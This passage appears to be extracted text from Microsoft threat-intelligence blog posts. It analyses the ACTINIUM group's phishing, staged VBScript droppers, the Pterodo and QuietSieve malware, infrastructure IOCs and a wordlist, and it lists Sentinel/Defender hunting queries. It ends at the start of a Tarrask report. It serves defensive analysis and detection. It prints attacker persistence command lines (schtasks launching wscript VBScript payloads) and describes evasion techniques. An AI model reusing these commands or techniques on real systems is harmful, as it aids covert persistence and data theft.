+uses text from a legitimate who.int situational COVID-19 update report published on July 27, 2021.
+ACTINIUM phishing attachments contain a first-stage payload that downloads and executes further payloads. There may be
+multiple subsequent 
+staging
+ scripts before a more fully-featured malicious capability is deployed to a compromised device.
+s unclear why there are often multiple stages; one hypothesis is that these staging VBScripts are easier to modify to
+incorporate new obfuscation or command-and-control (C2) changes. It
+s also possible that ACTINIUM deploys these scripts
+to provide some assurance that detection systems are less likely to detect their main capabilities. These initial staging
+capabilities vary; examples include heavily obfuscated VBScripts, obfuscated PowerShell commands, self-extracting archives,
+LNK files, or a combination of these. ACTINIUM frequently relies on scheduled tasks in these scripts to maintain persistence.
+More information on some of the capabilities analyzed by MSTIC is included in the 
+Malware and capabilities
+ section.
+ACTINIUM operational infrastructure and wordlists
+MSTIC assesses that ACTINIUM maintains a large quantity and degree of variation of its operational infrastructure to evade
+detection. ACTINIUM
+s operational infrastructure consists of many domains and hosts to facilitate payload staging and C2.
+In a single 30-day snapshot, MSTIC saw ACTINIUM utilizing over 25 new unique domains and over 80 unique IP addresses,
+demonstrating that they frequently modify or alter their infrastructure.
+ACTINIUM domain name DNS records frequently change, perhaps not frequently enough to be considered 
+fast-flux
+, but
+most DNS records for the domains change once a day on average. More than 70% of the recent 200+ ACTINIUM IP
+addresses are owned by ASN 197695 
+ REG.RU. Most ACTINIUM domains are also registered through the same owning
+company registrar (REG.RU). It is unclear why ACTINIUM appears to favor these legitimate providers.
+Malware authored by ACTINIUM often utilizes randomized subdomains for C2. These subdomains have included the use of
+an apparent English wordlist in their generation procedure, making the domains appear more legitimate while frustrating
+network defense tools that may rely on domain name blocks. A list of the most common words MSTIC has observed is
+3/18
+included in the IOCs below. Within the last 30 days, MSTIC has observed randomized schemes being used increasingly for
+subdomain patterns instead of wordlists, indicating a possible shift in methodology. One example of this randomization is the
+effect of their PowerShell stager using the Get-Random cmdlet:
+Examples of ACTINIUM subdomains encompassing both wordlists and randomized subdomains include:
+Jealousy[.]Jonas[.]artisola[.]ru
+Deliberate[.]brontaga[.]ru
+registration83[.]alteration[.]luck[.]mirotas[.]ru
+001912184[.]retarus[.]ru
+637753599292688334[.]jolotras[.]ru
+While the fast-flux nature of ACTINIUM infrastructure means that IP addresses are less useful IOCs, there is a clear
+preference for it on a specific ASN. Such preference may help defenders determine whether a domain may be more likely to
+be owned by ACTINIUM. A list of more recent IP addresses is included in the IOCs below.
+ACTINIUM appears to employ this same wordlist to obfuscate other aspects of their attacks. For example, as previously
+mentioned, ACTINIUM often maintains persistence by using scheduled tasks to run their malicious payloads. The payloads
+are often named with seemingly random words and phrases with valid (but irrelevant) extensions. The files are then executed
+using scripts with the /E:VBScript flag to specify the VBScript engine (and to effectively ignore the random file extension
+assigned to the payload) and the /b flag to mute alerts and errors. The following is an example:
+The terms deep-grounded, deerfield, and defiance above are used as the name of a scheduled task, a folder name, and a file
+name, respectively. Terms generated from the wordlist, like those in the example above, have been generated and used on
+multiple targets and are also used to generate subdomains as previously described. These generated terms may frustrate
+network defenders as the names of scheduled tasks, file names, and others are almost never the same for each target. We
+have compiled a list of the terms that MSTIC has observed in the IOCs provided below. Network defenders may be able to use
+the said list to determine whether a scheduled task, file, or domain is likely to warrant further investigation.
+Maintaining persistence and gathering intelligence
+MSTIC assesses that the primary outcome of activities by ACTINIUM is persistent access to networks of perceived value for
+the purpose of intelligence collection. Despite seemingly wide deployment of malicious capabilities in the region, follow-on
+activities by the group occur in areas of discrete interest, indicating a possible review of targeting. Following initial access,
+MSTIC has observed ACTINIUM deploying tools such as 
+Pterodo
+ to gain interactive access to target networks. In some
+cases, MSTIC has observed deployments of UltraVNC to enable a more interactive connection to a target. UltraVNC is a
+legitimate and fully-featured open-source remote desktop application that allows ACTINIUM to easily interact with a target
+host without relying on custom, malicious binaries that may be detected and removed by security products.
+Malware and capabilities
+ACTINIUM employs a variety of malware families with assessed objectives to deploy remotely retrieved or embedded
+payloads before execution. MSTIC has analyzed several of these payloads and tracks the rapidly developing binaries as the
+following families: DinoTrain, DesertDown, DilongTrash, ObfuBerry, ObfuMerry, and PowerPunch. The PowerPunch
+malware family is an excellent example of an agile and evolving sequence of malicious code and is further explained below.
+The actor quickly develops new obfuscated and lightweight capabilities to deploy more advanced malware later. These are
+fast-moving targets with a high degree of variance. Analyzed payloads regularly place a strong emphasis on obfuscated
+VBScripts. As an attack, this is not a novel approach, yet it continues to prove successful as antivirus solutions must
+consistently adapt to keep pace with a very agile threat.
+4/18
+The most feature-rich malware family we track relating to ACTINIUM activity is known widely within the industry as
+Pterodo
+. In the following sections, we break down Pterodo further and review a binary called QuietSieve that is specifically
+geared toward file exfiltration and monitoring.
+PowerPunch
+The droppers and downloader family names tend to be fast-moving targets due to the heavy use of obfuscation and simple
+functionality. For example, PowerPunch is executed from within PowerShell as a one-line command, encoded using Base64:
+These binaries also exhibit features that rely on data from the compromised host to inform encryption of the next stage.
+PowerPunch also provides an excellent example of this. In the following code snippet, the VolumeSerialNumber of the host
+serves as the basis for a multibyte XOR key. The key is applied to an executable payload downloaded directly from adversary
+infrastructure, allowing for an encryption key unique to the target host (highlighted variables names were changed for
+clarity).
+Ultimately, a next-stage executable is remotely retrieved and dropped to disk prior to execution.
+Pterodo
+MSTIC has also reviewed several variants of ACTINIUM
+s more fully-featured Pterodo malware. A couple of features play a
+direct role in this malware
+s ability to evade detection and thwart analysis: its use of a dynamic Windows function hashing
+algorithm to map necessary API components, and an 
+on-demand
+ scheme for decrypting needed data and freeing allocated
+heap space when used.
+The function hashing algorithm is used to map a hash value of a given function name to its corresponding location in memory
+using a process known as Run-Time Dynamic Linking. Pre-computed hashes are passed to the hashing algorithm alongside
+the Windows library containing the related function name. Each function name within the library is hashed; when a match is
+found, its address is saved.
+5/18
+The hashing algorithm itself has historically not been terribly complex, and when considering an example such as SHA-256
+51b9e03db53b2d583f66e47af56bb0146630f8a175d4a439369045038d6d2a45, it may be emulated using Python logic as
+follows:
+When pre-computing these hashes over different Windows DLLs commonly used in schemes like this, it is possible to map
+out these hash values and the corresponding Windows function name using open-source tools like the MITRE malchive.
+We have seen this behavior in many different malware families before. The hashing algorithm has been consistent within
+those families, allowing analysis like this to scale forward. Unfortunately, in Pterodo
+s case, there is far too much drift in the
+algorithm for it to be used reliably. The algorithm has been different in many of the samples we
+ve reviewed. Additionally, the
+application of this technique seems to vary among samples. Some samples have been observed to use it for most Windows
+function calls, while others have used it very sparingly.
+However, Windows libraries need to be loaded before function hashes are computed. The names of these libraries and other
+strings required by the malware are recovered using an 
+on-demand
+ scheme that decrypts the data, uses it, and immediately
+frees the associated heap space once it is no longer needed.
+6/18
+As seen in the screenshot above, data is passed into a decryption function before being used in a call to GetModuleHandleA.
+Before the hashing routine uses the module handle, the decrypted string representing the function name has its associated
+heap space freed and may be later overwritten. However, the reconstruction of this data is straightforward within the two
+core decryption algorithms we have observed. The first one relies on an encrypted blob whose first value is interpreted as the
+size of the decrypted data in DWORD (four-byte) chunks.
+This data is decrypted four bytes at a time, with the last byte being the encrypted content. Each encrypted byte is XOR
+using a multibyte key sequence unique to each sample reviewed. In our example, the ASCII key sequence 39d84sdfjh is
+applied to the content above to produce the module name Kernel32.
+A slight deviation from this approach was also uncovered in samples such as SHA-256
+2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904, where the decryption algorithm is passed data
+representing two WORD values: one mapping to the offset of the encrypted content within the malware and another
+representing the length. These parameters are recovered, and a much longer multibyte XOR sequence is applied to the
+encrypted content after the starting index is computed.
+Application of either approach allows us to gain a greater level of analysis into strings used by the malware. Continuing with
+the approach used by the previously cited example, we can apply the multibyte XOR key over the entire encrypted data space,
+resulting in the following content:
+7/18
+8/18
+Pterodo has been observed to be a constantly evolving malware family with a range of capabilities intended to make analysis
+more difficult. By applying our understanding, we can expose more malware elements to further advance mitigation and
+detection efforts.
+QuietSieve
+The QuietSieve malware family refers to a series of heavily-obfuscated .NET binaries specifically designed to steal
+information from the target host. Before enumerating target files on the host, QuietSieve first checks for connectivity by
+sending a test ping to 8.8.8.8 (Google public DNS). The creation of the buffer for the ICMP request is done manually within
+QuietSieve and contains all null values for the 32-byte data portion of the ICMP packet. If this check succeeds, a randomlygenerated alphanumeric prefix is created and combined with the callback domain as a subdomain before an initial request is
+made over HTTPS.
+If the connection is successful, the following file name extensions are searched for within removable, fixed, or networked
+drives: doc, docx, xls, rtf, odt, txt, jpg, pdf, rar, zip, and 7z. Candidate files are queued up for upload. They are also
+inventoried via a specific MD5 hash value computed based on attributes of the target file and compromised host, such as the
+volume serial number, file size, and last write timestamp assigned to the file. Computed hashes are logged to an inventory log
+file that serves as a reference point checked by the malware to avoid duplicate exfiltration. QuietSieve will also take
+screenshots of the compromised host approximately every five minutes and save them in the user
+s local Application Data
+folder under Temp\SymbolSourceSymbols\icons or Temp\ModeAuto\icons using the format yyyy-MM-dd-HH-mm along
+with the jpg file extension.
+While the QuietSieve malware family is primarily geared towards the exfiltration of data from the compromised host, it can
+also receive and execute a remote payload from the operator. These payloads are written to the user
+s Application Data folder
+with a random alphanumeric name and are executed in a hidden window.
+Microsoft will continue to monitor ACTINIUM activity and implement protections for our customers.
+Indicators of compromise (IOCs)
+The following IOCs were observed during our investigation. We encourage our customers to investigate these indicators in
+their environments and implement detections and protections to identify past related activity and prevent future attacks
+against their systems.
+Analyst note on ACTINIUM IOCs: ACTINIUM registers and administers a large amount of infrastructure. It
+s not always
+possible to accurately determine what malicious component connects to which C2 infrastructure. MSTIC has observed cases
+where the same C2 is used for different components (for example, corolain[.]ru).
+Example malware samples and associated infrastructure
+QuietSieve
+9/18
+Indicator
+Type
+Comments
+Jolotras[.]ru
+Domain
+name
+QuietSieve, associated with
+multiple malware samples
+Moolin[.]ru
+Domain
+name
+QuietSieve, associated with
+multiple malware samples
+0afce2247ffb53783259b7dc5a0afe04d918767c991db2da906277898fd80be5
+SHA256
+QuietSieve, communicates
+with moolin[.]ru domain(s)
+e4d309735f5326a193844772fc65b186fd673436efab7c6fed9eb7e3d01b6f19
+SHA256
+QuietSieve, communicates
+with moolin[.]ru domain(s)
+f211e0eb49990edbb5de2bcf2f573ea6a0b6f3549e772fd16bf7cc214d924824
+SHA256
+QuietSieve, communicates
+with jolotras[.]ru domain(s)
+6d4b97e74abf499fa983b73a1e6957eadb2ec6a83e206fff1ab863448e4262c6
+SHA256
+QuietSieve, communicates
+with moolin[.]ru domain(s)
+eb1724d14397de8f9dca4720dada0195ebb99d72427703cabcb47b174a3bfea2
+SHA256
+QuietSieve, communicates
+with moolin[.]ru domain(s)
+e4d309735f5326a193844772fc65b186fd673436efab7c6fed9eb7e3d01b6f19
+SHA256
+QuietSieve, communicates
+with moolin[.]ru domain(s)
+b92dcbacbaaf0a05c805d31762cd4e45c912ba940c57b982939d79731cf97217
+SHA256
+QuietSieve, communicates
+with moolin[.]ru domain(s)
+b3d68268bd4bb14b6d412cef2b12ae4f2a385c36600676c1a9988cf1e9256877
+SHA256
+QuietSieve, communicates
+with moolin[.]ru domain(s)
+a6867e9086a8f713a962238204a3266185de2cc3c662fba8d79f0e9b22ce8dd6
+SHA256
+QuietSieve, communicates
+with moolin[.]ru domain(s)
+a01e12988448a5b26d1d1adecc2dda539b5842f6a7044f8803a52c8bb714cdb0
+SHA256
+QuietSieve, communicates
+with moolin[.]ru domain(s)
+8a8c1a292eeb404407a9fe90430663a6d17767e49d52107b60bc229c090a0ae9
+SHA256
+QuietSieve, communicates
+with moolin[.]ru domain(s)
+15099fc6aea1961164954033b397d773ebf4b3ef7a5567feb064329be6236a01
+SHA256
+QuietSieve, communicates
+with moolin[.]ru domain(s)
+137bfe2977b719d92b87699d93c0f140d659e990b482bbc5301085003c2bd58c
+SHA256
+QuietSieve, communicates
+with jolotras[.]ru domain(s)
+0e5b4e578788760701630a810d1920d510015367bf90c1eab4373d0c48a921d9
+SHA256
+QuietSieve, communicates
+with moolin[.]ru domain(s)
+0afce2247ffb53783259b7dc5a0afe04d918767c991db2da906277898fd80be5
+SHA256
+QuietSieve, communicates
+with moolin[.]ru domain(s)
+Pterodo
+10/18
+Indicator
+Type
+Comments
+gorigan[.]ru
+Domain
+name
+Pterodo
+teroba[.]ru
+Domain
+name
+Pterodo
+krashand[.]ru
+Domain
+name
+Pterodo, associated with
+multiple malware samples
+51b9e03db53b2d583f66e47af56bb0146630f8a175d4a439369045038d6d2a45
+SHA256
+Pterodo, communicates with
+krashand[.]ru domain(s)
+2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904
+SHA256
+Pterodo, communicates with
+gorigan[.]ru domain(s)
+425ee82f20eb87e07a0d4f77adb72bf3377051365be203ee6ded37b399094f20
+SHA256
+Pterodo, communicates with
+krashand[.]ru domain(s)
+fe068e324cd4175f857dfee4c23512ed01f3abbf8b6138b715caa1ba5e9486c0
+SHA256
+Pterodo, communicates with
+krashand[.]ru domain(s)
+798cd714cf9e352c1e9de3d48971a366b09eeffb3513950fd64737d882c25a38
+SHA256
+Pterodo, communicates with
+krashand[.]ru domain(s)
+ef9b39705decbb85269518705053e7f4087758eea6bab4ba9135bf1ae922b2ea
+SHA256
+Pterodo, communicates with
+krashand[.]ru domain(s)
+a87e9d5e03db793a0c7b8e8e197d14745265422f05e6e50867cdfbd150d0c016
+SHA256
+Pterodo, communicates with
+krashand[.]ru domain(s)
+2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904
+SHA256
+Pterodo, communicates with
+gorigan[.]ru domain(s)
+c68eb2fa929373cac727764d2cc5ca94f19a0ec7fd8c0876b98f946e72d9fa03
+SHA256
+Pterodo, communicates with
+gorigan[.]ru domain(s)
+3b6445cf6f8e9e70cb0fff35d723fec8203375d67cbd67c9a672cddc02a7ff99
+SHA256
+Pterodo
+bae9895ad4e392990a09b1b8a01e424a7ad3769e538ac693919d1b99989f0cb3
+SHA256
+Pterodo, communicates with
+teroba[.]ru domain(s)
+c6e092316f61d2fc9c84299dd224a6e419e74c98c51a44023f8f72530ac28fdc
+SHA256
+Pterodo, communicates with
+teroba[.]ru domain(s)
+cb0d151d930b17f6376c18aa15fd976eac53d6f07d065fc27c40b466e3bc49aa
+SHA256
+Pterodo
+8ed03b1d544444b42385e79cd17c796fefae71d140b146d0757a3960d8ba3cba
+SHA256
+Pterodo, communicates with
+teroba[.]ru domain(s)
+Various stagers and downloaders
+(DinoTrain, DilongTrash, Obfuberry, PowerPunch, DessertDown, and Obfumerry)
+11/18
+Indicator
+Type
+Comments
+%windir%\System32\schtasks.exe
+ /CREATE /sc minute /mo 12 /tn
+deepness
+ /tr 
+wscript.exe 
+%PUBLIC%\Pictures\deepness.fly
+ //e:VBScript
+Command
+line
+DessertDown artifact (note
+generated word used 
+deepness, this will vary)
+wscript.exe C:\Users\[username]\continue.wav //e:VBScript //b
+Command
+line
+DinoTrain artifact (note
+generated words used 
+[username] and continue, these
+will vary)
+alacritas[.]ru
+Domain
+name
+PowerPunch
+libellus[.]ru
+Domain
+name
+PowerPunch
+brontaga[.]ru
+Domain
+name
+DessertDown
+gortomalo[.]ru
+Domain
+name
+DessertDown and possibly
+other ACTINIUM capabilities
+corolain[.]ru
+Domain
+name
+Used for PowerShell cmdlets
+goloser[.]ru
+Domain
+name
+Used for PowerShell cmdlets
+delicacy[.]delicate[.]maizuko[.]ru
+Domain
+name
+DinoTrain
+0f9d723c3023a6af3e5522f63f649c7d6a8cb2727ec092e0b38ee76cd1bbf1c4
+SHA-256
+DessertDown, communicates
+with brontaga[.]ru domain(s)
+bf90d5db47e6ba3a1840976b6bb88a8d0dfe97dfe02c9ca31b7be4018816d232
+SHA-256
+DessertDown, communicates
+with gloritapa[.]ru and
+gortomalo[.]ru domains
+b9b41fbbd646f11d148cface520a5d4e0ec502ba85c67b00668e239082a302e3
+SHA-256
+DinoTrain, communicates with
+delicacy[.]delicate[.]maizuko[.]ru
+c05f4c5a6bb940e94782e07cf276fc103a6acca365ba28e7b4db09b5bbc01e58
+SHA-256
+DilongTrash, communicates
+with privigna[.]ru
+3cbe7d544ef4c8ff8e5c1e101dbdf5316d0cfbe32658d8b9209f922309162bcf
+SHA-256
+ObfuBerry
+3bab73a7ba6b84d9c070bb7f71daab5b40fcb6ee0387b67be51e978a47c25439
+SHA-256
+ObfuMerry
+ACTINIUM-owned infrastructure
+Domains
+The following list represents the most recent domains used by ACTINIUM as of this writing. Many of ACTINIUM
+capabilities communicate with generated subdomains following the patterns discussed earlier. A list of commonly observed
+words in these generated names is available in the next section, although it should be noted that this list is not exhaustive.
+12/18
+acetica[.]online
+lenatara[.]ru
+oyoida[.]ru
+riontos[.]ru
+nerabis[.]ru
+adeltorr[.]ru
+ouichi[.]ru
+dushnilo[.]ru
+hostarama[.]ru
+jokolor[.]ru
+arianat[.]ru
+cryptonas[.]ru
+akowaika[.]ru
+artisola[.]ru
+nokratis[.]ru
+bartion[.]ru
+konoatari[.]ru
+torogat[.]ru
+boltorg[.]ru
+machiwo[.]ru
+bibliota[.]ru
+moonilar[.]ru
+inosokof[.]ru
+draagotan[.]ru
+kolotran[.]ru
+bilorotka[.]ru
+reapart[.]ru
+holotran[.]ru
+golofir[.]ru
+volotras[.]ru
+dokkade[.]ru
+nomukou[.]ru
+huskari[.]ru
+goloser[.]ru
+milopoda[.]ru
+goshita[.]ru
+mirotas[.]ru
+utemomac[.]ru
+gortomalo[.]ru
+zerotask[.]ru
+hajimari[.]ru
+ismetroh[.]ru
+hortoban[.]ru
+gloritapa[.]ru
+vasitron[.]ru
+libellus[.]ru
+vositra[.]ru
+hopfar[.]ru
+bobotal[.]ru
+nopaster[.]ru
+meshatr[.]ru
+fartopart[.]ru
+koprotas[.]ru
+historap[.]ru
+dangeti[.]ru
+nakushita[.]ru
+atasareru[.]ru
+golorta[.]ru
+jabilen[.]ru
+haguret[.]ru
+naletovo[.]ru
+uzumoreru[.]ru
+screato[.]ru
+herumot[.]ru
+klotrast[.]ru
+nattanda[.]ru
+sumikko[.]ru
+bellinor[.]ru
+saturapa[.]ru
+sundabokun[.]ru
+nokitrav[.]ru
+vivaldar[.]ru
+nokata[.]ru
+fortfar[.]ru
+rawaumi[.]ru
+nonima[.]ru
+ikaraur[.]ru
+nemoiti[.]ru
+dudocilo[.]ru
+wokoras[.]ru
+onihik[.]ru
+ruhodo[.]ru
+mudarist[.]ru
+gongorat[.]ru
+yazibo[.]ru
+pertolka[.]ru
+asdorta[.]ru
+holorta[.]ru
+gortisir[.]ru
+jupirest[.]ru
+ruchkalo[.]ru
+kolorato[.]ru
+kucart[.]ru
+filorta[.]ru
+vostilo[.]ru
+shitemo[.]ru
+warau[.]ru
+koltorist[.]ru
+gortova[.]ru
+lotorgas[.]ru
+sorawo[.]ru
+kimiga[.]ru
+hokoldar[.]ru
+amaniwa[.]ru
+masshir[.]ru
+telefar[.]ru
+kippuno[.]ru
+midiatr[.]ru
+nastorlam[.]ru
+martusi[.]ru
+urovista[.]ru
+kroviti[.]ru
+bibikaro[.]ru
+hilotrapa[.]ru
+kovalsko[.]ru
+vadilops[.]ru
+hibigaru[.]ru
+gribata[.]ru
+alebont[.]ru
+nukegaran[.]ru
+zvustro[.]ru
+lotorda[.]ru
+vnestri[.]ru
+dortisto[.]ru
+Wordlist of observed terms
+ACTINIUM likely generates strings for use in various components from a wordlist. A sample of terms observed in use by
+ACTINIUM can be found below. ACTINIUM has been observed to use these terms for:
+Subdomains for their C2 infrastructure
+Scheduled task names
+Folder names
+Malware file names
+ACTINIUM also likely generates strings for other uses where they attempt to disguise their activities.
+13/18
+abrupt
+allegiance
+allen
+alley
+allied
+allocation
+allow
+allowance
+allowing
+allows
+alloy
+alluded
+ally
+almond
+almost
+alongside
+alphabet
+already
+alter
+alteration
+although
+always
+amazing
+amber
+ambitious
+amends
+amid
+among
+beverley
+beware
+beyond
+bicycle
+bigger
+bike
+bikes
+bill
+billion
+claimed
+clank
+clap
+clash
+clasped
+classes
+classroom
+cough
+could
+councilman
+countenance
+counteract
+countries
+country
+courage
+courageous
+cronos
+debts
+deceive
+deceived
+decent
+deception
+decide
+decided
+decidedly
+decision
+decisive
+deck
+declaration
+declare
+declared
+decline
+declined
+decoy
+decrease
+decree
+decrepit
+dedicate
+deduction
+deed
+deep
+deeper
+deep-going
+deep-green
+deep-groaning
+deep-grounded
+deep-grown
+deephaven
+deepish
+deep-kiss
+deep-laden
+deep-laid
+deeplier
+deep-lunged
+deeply
+deep-lying
+deepmouthed
+deep-musing
+deep-naked
+deepnesses
+deep-persuading
+deep-piled
+deep-pointed
+deep-pondering
+deep-premeditated
+deep-read
+deep-revolving
+deep-rooted
+deep-rooting
+deep-sea
+deep-searching
+deep-seated
+deep-seatedness
+deep-set
+deep-settled
+deep-sighted
+deep-sinking
+deep-skirted
+deepsome
+deep-sore
+deep-stapled
+deep-sunken
+deep-sweet
+deep-tangled
+deep-throated
+deep-toned
+deep-transported
+deep-troubled
+deep-vaulted
+deep-versed
+deep-voiced
+deep-water
+deepwaterman
+deepwatermen
+deep-worn
+deep-wounded
+deer
+deerberry
+deerbrook
+deerdog
+deerdre
+deere
+deerflies
+deerflys
+deerfood
+deerhorn
+deering
+deerlet
+deer-mouse
+deers
+deerstalker
+deery
+deeryards
+default
+defeated
+defect
+defective
+defence
+defend
+defense
+defensive
+defiance
+defiant
+deficiency
+defined
+definite
+definitely
+defy
+degrade
+degree
+deity
+dejected
+delay
+delayed
+delete
+deliberate
+deliberately
+delicious
+delight
+delighted
+delightful
+delirium
+deliverance
+delivered
+delivery
+deluge
+delve
+demand
+demanded
+demolition
+demonstrate
+demonstration
+dene
+denial
+denied
+denote
+dense
+dentist
+deny
+depart
+departed
+department
+departments
+departure
+depended
+dependent
+deplore
+deploy
+deployment
+depression
+14/18
+depth
+depths
+deputy
+derisive
+derived
+descendant
+descended
+descent
+describe
+description
+desert
+deserter
+deserts
+deserve
+deserves
+design
+designed
+designer
+designs
+desire
+desolate
+despair
+desperate
+desperately
+despise
+despite
+dessert
+destitute
+destroyed
+destroyer
+detach
+detached
+detail
+endanger
+ending
+endless
+endlessly
+endure
+enemies
+energy
+enforce
+faithless
+fake
+falcon
+fame
+familiar
+family
+famous
+fancied
+gleaming
+glide
+glimpse
+gloom
+gloomy
+glory
+glossy
+gloves
+glow
+glue
+gnaw
+goat
+goes
+integer
+integral
+intelligence
+intelligent
+intend
+descendant
+descended
+descent
+describe
+description
+desert
+interested
+interesting
+interference
+island
+isolation
+issue
+issued
+itself
+jack
+jackal
+jacket
+jackson
+jake
+james
+january
+jaws
+jazz
+jealous
+jealousy
+jean
+jeanne
+jeans
+jeer
+jeff
+jelly
+jerk
+jersey
+jerusalem
+jessamy
+jessie
+jest
+jewel
+jeweller
+jewellery
+jewels
+jill
+joan
+jobs
+join
+joining
+joint
+joke
+joking
+jolly
+jonas
+joseph
+josephine
+josie
+joyful
+joyfully
+judge
+judgment
+juice
+juicy
+july
+jumble
+jumped
+jumper
+june
+jungle
+junior
+junk
+just
+justly
+juvenile
+lover
+lower
+loyalty
+luck
+lucy
+luggage
+luke
+lumber
+lump
+lunch
+luncheon
+lustre
+luxurious
+luxury
+mankind
+manners
+mansion
+margaret
+margarita
+margin
+marriage
+marvellous
+masquerade
+naturally
+nature
+naughty
+navigation
+navy
+near
+neat
+necessarily
+necklace
+needle
+needlework
+neglect
+parlor
+parlour
+parrots
+parsley
+participate
+parties
+parting
+penknife
+perceive
+percent
+percy
+perfect
+perform
+performed
+perfume
+pleasantly
+pressure
+presume
+pretence
+pretend
+15/18
+pretty
+prevail
+prevailed
+prevhost
+prey
+price
+priest
+primary
+prince
+princess
+printing
+pumpkin
+punctual
+punish
+punishment
+pupil
+purchase
+purchaser
+pure
+purge
+purpose
+purse
+pursuing
+references
+reflected
+regions
+registered
+registration
+registry
+regret
+regular
+regularly
+regulate
+reject
+relations
+relative
+relax
+release
+reliable
+salary
+sale
+salmon
+salt
+salts
+salvation
+same
+sand
+scarce
+scarcely
+scared
+scarf
+scarlet
+scattered
+scene
+scenery
+scenes
+scent
+scheme
+scholars
+schoolboy
+science
+scold
+scope
+scorn
+scornful
+scoundrel
+scout
+scowled
+shoe
+shone
+shooting
+sorting
+sought
+sound
+sounding
+soup
+sour
+source
+stool
+stoop
+stooped
+stop
+stopped
+stopper
+storm
+stout
+strawberries
+stream
+strengthen
+stretched
+strict
+striking
+string
+strings
+striped
+stripes
+stroke
+stroll
+NOTE: These indicators should not be considered exhaustive for this observed activity.
+Detections
+Microsoft 365 Defender
+Microsoft Defender Antivirus
+Microsoft Defender for Endpoint
+Alerts with the following titles in the security center can indicate threat activity on your network:
+ACTINIUM activity group
+The following alerts might also indicate threat activity associated with this threat. These alerts, however, may be triggered by
+unrelated threat activity. We
+re listing them here because we recommend that these alerts be investigated and remediated
+immediately given the severity of the attacks.
+Suspicious obfuscation or deobfuscation activity
+Suspicious script execution
+A script with suspicious content was observed
+PowerShell dropped a suspicious file on the machine
+Anomalous process executing encoded command
+Suspicious dynamic link library loaded
+An anomalous scheduled task was created
+An uncommon file was created and added to a Run Key
+Suspicious screen capture activity
+Staging of sensitive data
+Suspicious process transferring data to external network
+16/18
+Microsoft Defender for Office 365
+Microsoft Defender for Office 365 customers can use the email entity page to search for and visualize the potential impact of
+these attacks to your organization.
+The following email security alerts may indicate threat activity associated with this threat. These alerts, however, may be
+triggered by unrelated threat activity. We
+re listing them here because we recommend that these alerts be investigated and
+remediated immediately given the severity of the attacks.
+Email messages containing malicious file removed after delivery
+Email messages containing malware removed after delivery
+Email messages removed after delivery
+Email reported by user as malware or phish
+Malware campaign detected after delivery
+Malware campaign detected and blocked
+Malware not zapped because ZAP is disabled
+Advanced hunting queries
+Microsoft Sentinel
+To locate possible ACTINIUM activity mentioned in this blog post, Microsoft Sentinel customers can use the queries detailed
+below:
+Identify ACTINIUM IOCs
+This query identifies a match across various data feeds for IOCs related to ACTINIUM:
+https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/ActiniumFeb2022.yaml
+Identify antivirus detection of ACTINIUM activity
+This query identifies a match in the Security Alert table for Microsoft Defender Antivirus detections related to the ACTINIUM
+actor:
+https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityAlert/ActiniumAVHits.yaml
+17/18
+Microsoft 365 Defender
+To locate related activity, Microsoft 365 Defender customers can run the following advanced hunting queries:
+Find ACTINIUM-related emails
+Use this query to look for look for emails that may have been received in your environment related to ACTINIUM.
+EmailEvents
+| where SenderMailFromDomain =~ 'who-int.info'
+or SenderFromDomain =~ 'who-int.info'
+Surface ACTINIUM-related alerts
+Use this query to look for alerts related to ACTINIUM alerts.
+AlertInfo
+| where Title in~('ACTINIUM activity group')
+Surface devices with ACTINIUM related alerts and gather additional device alert information
+Use this query to look for threat activity associated with ACTINIUM alerts.
+// Get any devices with ACTINIUM related Alert Activity
+let DevicesACTINIUMAlerts = AlertInfo
+| where Title in~('ACTINIUM activity group')
+// Join in evidence information
+| join AlertEvidence on AlertId
+| where DeviceId != ""
+| summarize by DeviceId, Title;
+// Get additional alert activity for each device
+AlertEvidence
+| where DeviceId in(DevicesACTINIUMAlerts)
+// Add additional info
+| join kind=leftouter AlertInfo on AlertId
+| summarize DeviceAlerts = make_set(Title), AlertIDs = make_set(AlertId) by DeviceId, bin(Timestamp, 1d)
+Surface suspicious MSHTA process execution
+Use this query to look for MSHTA launching with command lines referencing DLLs in the AppData\Roaming path.
+DeviceProcessEvents
+| where FileName =~ "mshta.exe"
+| where ProcessCommandLine has_all (".dll", "Roaming")
+| where ProcessCommandLine contains @"Roaming\j"
+| extend DLLName = extract(@"[jJ][a-z]{1,12}\.dll", 0, ProcessCommandLine)
+Surface suspicious Scheduled Task activity
+Use this query to look for Scheduled Tasks that may relate to ACTINIUM activity.
+DeviceProcessEvents
+| where ProcessCommandLine has_all ("schtasks.exe", "create", "wscript", "e:vbscript", ".wav")
+18/18
+Tarrask malware uses scheduled tasks for defense evasion
+microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion
+April 12, 2022
+As Microsoft continues to track the high-priority state-sponsored threat actor HAFNIUM, new activity has been
+uncovered that leverages unpatched zero-day vulnerabilities as initial vectors. The Microsoft Detection and Response
+Team (DART) in collaboration with the Microsoft Threat Intelligence Center (MSTIC) identified a multi-stage attack
+targeting the Zoho Manage Engine Rest API authentication bypass vulnerability to initially implant a Godzilla web shell
+with similar properties detailed by the Unit42 team in a previous blog.
+Microsoft observed HAFNIUM from August 2021 to February 2022, target those in the telecommunication, internet
+service provider and data services sector, expanding on targeted sectors observed from their earlier operations
+conducted in Spring 2021.
+Further investigation reveals forensic artifacts of the usage of Impacket tooling for lateral movement and execution and
+the discovery of a defense evasion malware called Tarrask that creates 
+hidden
+ scheduled tasks, and subsequent actions
+to remove the task attributes, to conceal the scheduled tasks from traditional means of identification.
+The blog outlines the simplicity of the malware technique Tarrask uses, while highlighting that scheduled task abuse is a
+very common method of persistence and defense evasion
+and an enticing one, at that. In this post, we will demonstrate
+how threat actors create scheduled tasks, how they cover their tracks, how the malware
+s evasion techniques are used to
+maintain and ensure persistence on systems, and how to protect against this tactic.
+Right on schedule: Maintaining persistence via scheduled tasks
+Windows Task Scheduler is a service that allows users to perform automated tasks (scheduled tasks) on a chosen
+computer for legitimate administrative purposes (e.g., scheduled updates for browsers and other applications).
+Throughout the course of our research, we
+ve found that threat actors commonly make use of this service to maintain
+persistence within a Windows environment.
+ve noted that the Tarrask malware generates several artifacts upon the creation of a scheduled task, whether using
+the Task Scheduler GUI or the schtasks command line utility. Profiling the use of either of these tools can aid
+investigators in tracking this persistence mechanism.
+The following registry keys are created upon creation of a new task:
